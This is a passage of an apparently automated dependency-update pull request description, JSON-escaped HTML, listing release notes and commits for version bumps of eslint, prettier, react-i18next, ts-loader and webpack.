href=\"https://github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e\"\u003e\u003ccode\u003e7ea106d\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21059\"\u003e#21059\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472\"\u003e\u003ccode\u003e8fb550e\u003c/code\u003e\u003c/a\u003e chore: add prettier update commit to \u003ccode\u003e.git-blame-ignore-revs\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21056\"\u003e#21056\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84\"\u003e\u003ccode\u003ee4e1166\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21055\"\u003e#21055\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3\"\u003e\u003ccode\u003e0493f53\u003c/code\u003e\u003c/a\u003e chore: update prettier to v3.9.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21054\"\u003e#21054\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408\"\u003e\u003ccode\u003e1056a99\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.8.5 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21049\"\u003e#21049\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35\"\u003e\u003ccode\u003e4d4155d\u003c/code\u003e\u003c/a\u003e ci: run ecosystem tests on pull requests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21027\"\u003e#21027\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d\"\u003e\u003ccode\u003e993539f\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.0.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21042\"\u003e#21042\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd\"\u003e\u003ccode\u003e53f8b69\u003c/code\u003e\u003c/a\u003e test: add error locations to \u003ccode\u003eno-constant-binary-expression\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21039\"\u003e#21039\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e\"\u003e\u003ccode\u003e5ab71d5\u003c/code\u003e\u003c/a\u003e refactor: clean up radix rule internals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21015\"\u003e#21015\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6\"\u003e\u003ccode\u003ea80a9a4\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21035\"\u003e#21035\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263\"\u003e\u003ccode\u003e7c9a029\u003c/code\u003e\u003c/a\u003e ci: add Node.js 26 to CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20847\"\u003e#20847\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/fabd99bb74eedcb950df51ec3280414ff1d68d38\"\u003e\u003ccode\u003efabd99b\u003c/code\u003e\u003c/a\u003e 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/37c5e75949ff2ae1f0085f547e35ce2bdf9d524d\"\u003e\u003ccode\u003e37c5e75\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.6.0...v10.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-i18next` from 17.0.8 to 17.0.9\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/i18next/react-i18next/blob/master/CHANGELOG.md\"\u003ereact-i18next's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.0.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: allow TypeScript 7 in the optional \u003ccode\u003etypescript\u003c/code\u003e peer dependency range (\u003ccode\u003e^5 || ^6 || ^7\u003c/code\u003e). With \u003ccode\u003etypescript@7.0.2\u003c/code\u003e in a project, \u003ccode\u003enpm install\u003c/code\u003e failed with an \u003ccode\u003eERESOLVE\u003c/code\u003e peer conflict. Fixes \u003ca href=\"https://redirect.github.com/i18next/react-i18next/issues/1927\"\u003e#1927\u003c/a\u003e, thanks \u003ca href=\"https://github.com/andikapradanaarif\"\u003e\u003ccode\u003e@​andikapradanaarif\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003efix(types): \u003ccode\u003e\u0026lt;Trans t={t} ns=\u0026quot;ns\u0026quot; …\u0026gt;\u003c/code\u003e with a \u003ccode\u003et\u003c/code\u003e from \u003ccode\u003euseTranslation(['ns'])\u003c/code\u003e now typechecks under TypeScript 7. TS7 intersects the \u003ccode\u003eNs\u003c/code\u003e inference candidates coming from the \u003ccode\u003et\u003c/code\u003e prop (\u003ccode\u003ereadonly ['ns']\u003c/code\u003e) and the \u003ccode\u003ens\u003c/code\u003e prop (\u003ccode\u003e'ns'\u003c/code\u003e) into an unsatisfiable \u003ccode\u003e'ns' \u0026amp; readonly ['ns']\u003c/code\u003e, where TS6 resolved them. The \u003ccode\u003ens\u003c/code\u003e prop on \u003ccode\u003eTransProps\u003c/code\u003e, \u003ccode\u003eTransSelectorProps\u003c/code\u003e and \u003ccode\u003eIcuTransWithoutContextProps\u003c/code\u003e now also accepts a single namespace out of an array-typed \u003ccode\u003eNs\u003c/code\u003e (\u003ccode\u003eNs | (Ns extends readonly (infer S extends string)[] ? S : never)\u003c/code\u003e) — which matches runtime behavior and is unchanged under TS5/TS6.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/8b4a9ea139b73309471737e5ba9c423f82d5c0cc\"\u003e\u003ccode\u003e8b4a9ea\u003c/code\u003e\u003c/a\u003e 17.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/422bab13d4c9664e51c0c1025df2da37c0912075\"\u003e\u003ccode\u003e422bab1\u003c/code\u003e\u003c/a\u003e fix: support typescript 7 — widen peer range and fix Trans ns inference under...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/6e18aa95b5ff9257b477301283819697f249ea25\"\u003e\u003ccode\u003e6e18aa9\u003c/code\u003e\u003c/a\u003e README: mention npx i18next-cli localize as the zero-to-localized path\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/i18next/react-i18next/compare/v17.0.8...v17.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ts-loader` from 9.6.0 to 9.6.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TypeStrong/ts-loader/releases\"\u003ets-loader's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1701\"\u003echore: trim runtime dependencies — remove enhanced-resolve/semver, swap micromatch → picomatch\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOfficially ts-loader has supported 3.6.3+ versions of TypeScript. This change means that certain scenarios with older versions of TS will now certainly fail. If anyone is actually using these versions it would be surprising.\u003c/p\u003e\n\u003ch2\u003ev9.6.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1699\"\u003efix: rspack support\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/bhollis\"\u003e\u003ccode\u003e@​bhollis\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TypeStrong/ts-loader/blob/main/CHANGELOG.md\"\u003ets-loader's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1701\"\u003echore: trim runtime dependencies — remove enhanced-resolve/semver, swap micromatch → picomatch\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOfficially ts-loader has supported 3.6.3+ versions of TypeScript. This change means that certain scenarios with older versions of TS will now certainly fail. If anyone is actually using these versions it would be surprising.\u003c/p\u003e\n\u003ch2\u003e9.6.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1699\"\u003efix: rspack support\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/bhollis\"\u003e\u003ccode\u003e@​bhollis\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/b347bb7fda1ae7240e527e05c275e0485bb3978a\"\u003e\u003ccode\u003eb347bb7\u003c/code\u003e\u003c/a\u003e chore: trim runtime dependencies — remove enhanced-resolve/semver, swap micro...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/32d82e6c6268f73133ef003cbfb664e765161041\"\u003e\u003ccode\u003e32d82e6\u003c/code\u003e\u003c/a\u003e fix: rspack support (\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/issues/1699\"\u003e#1699\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/6bd992eac17badde1b586487af23d20a2b85a62e\"\u003e\u003ccode\u003e6bd992e\u003c/code\u003e\u003c/a\u003e chore: Update GitHub Actions workflow for release\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TypeStrong/ts-loader/compare/v9.6.0...v9.6.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `webpack` from 5.107.2 to 5.108.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/webpack/webpack/releases\"\u003ewebpack's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.108.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules parsing by not building unused selector AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules CSS parsing by dropping value tokens nothing reads. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eResolve HTML asset URLs against the document \u003ccode\u003e\u0026lt;base href\u0026gt;\u003c/code\u003e. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21329\"\u003e#21329\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd HTML integration tests: generateError output, ignored src, null-char parse. (by \u003ca href=\"https://github.com/aryanraj45\"\u003e\u003ccode\u003e@​aryanraj45\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21328\"\u003e#21328\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce CPU and memory overhead of HTML and CSS parsing and code generation. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21332\"\u003e#21332\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory and CPU by skipping unused AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca 